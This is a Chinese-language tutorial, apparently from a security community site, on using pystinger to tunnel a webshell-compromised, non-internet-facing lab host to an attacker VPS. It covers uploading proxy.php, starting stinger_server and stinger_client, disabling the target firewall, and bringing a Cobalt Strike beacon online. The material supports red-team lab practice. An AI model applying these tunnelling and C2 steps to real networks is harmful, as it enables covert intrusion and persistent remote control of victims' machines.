通过pystinger(毒刺)使不出网主机上线

xuwu2024-01-05文章来源:SecHub网络安全社区


一、为什么要使用pystinger

1.1可使用环境:

内网服务器1:192.168.93.120 不出网,运行着web服务

服务器2有两种情况:

情况1
可能是服务器1使用内网穿透把web服务映射到公网服务2,防火墙限制访问其他公网导致不出网

情况2
服务器拥有双网卡,一个公网ip1.1.1.1;内网ip:192.168.93.100
然后部署了nginx反向代理服务器1的web服务。

红日靶场3就是情况2的环境,也是这次测试的环境。

1.2问题假设

通过web服务成功入侵到内网服务器1,但因为不出网原因无法上线cs或者反弹shell;
此时可以通过部署reg服务进行socks正向代理到内网。但无法控制服务器。

一般情况下解决方法:
控制公网服务2,然后将其充当跳板使用ew或者frp如蚯蚓钻洞一样,以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。

但是,但是,这一切的前提是必须拿下公网服务器2(即边界服务器)。

而pystinger工具就可以解决这种情况,只有一个前提:可以上传文件到服务器中,然后有一定的权限运行文件
经过搭建环境测试发现:www-data用户即可以使用。

支持的web服务:php,jsp(x),aspx

1.3原理(推测)

1.正常情况下内网穿透的情景,内网机器可以访问公网服务器开放的端口(作为建立联系的前提条件),然后把内网机器一个端口映射到公网服务器的一个端口上。

2.然后类比,经过socks代理后。我们可以访问不出网的服务器开放的端口,现在是有了作为内网穿透的条件。

然后把我们本地的端口60020通过socks服务映射到内网服务器的60020。

这样向反弹shell,上线cs既可通内网的60020端口进行连接。也就是攻击端监听本地60020,内网服务器上线127.0.0.1:60020。

这里生成的socks代理原理应该与Neo-reGeorg差不多,基于 HTTP(S) 协议建立隧道,不过这里是sock4a

总的来说:socks代理是前提,然后通过socks代理建立内网穿透。把vps60020端口映射到内网60020端口。

二,使用方法

上传文件到靶机服务器:

例如:proxy.php上传到目标服务器,确保http://ip:port/xxx/proxy.php 可以访问,页面返回 UTF-8

将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行
启动服务端

windows:start D:/XXX/stinger_server.exe 0.0.0.0
不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连
Linux:chmod +x stinger_server;./stinger_server

vps执行./stinger_client -w http://ip:port/xxx/proxy.php -l 127.0.0.1 -p 60000
注:60000为socks4代理端口,可以修改成其他。
如下输出表示成功

使用工具测试socks4连接是否正常127.0.0.1:60000
若链接不到,大概率是本地没有开放响应的端口,若上面连接失败,尝试把目标服务器的防火墙关闭。
然后就会把vps的60020端口映射到靶机服务端60020
linux杀死进程
ps -elf | grep stinger_client
kill -9 进程号
windows杀死
taskkill /f /im stinger_server.exe

三,上线cs

1.情景:

内网192.168.100.33机器不出网
然后有台公网机器可以反向代理web服务。
现在是拿到了webshell

2.上传proxy.php代理脚本

3.在内网靶机启动服务端
windows:start D:/XXX/stinger_server.exe 0.0.0.0

4.在公网vps机器启动服务端
./stinger_client -w http://ip:port/xxx/proxy.php -l 127.0.0.1 -p 60000

5.cs监听设置
这里之所以会出现两个HTTP地址是由于该靶机为内网双网卡主机

6.上传cs马运行既可上线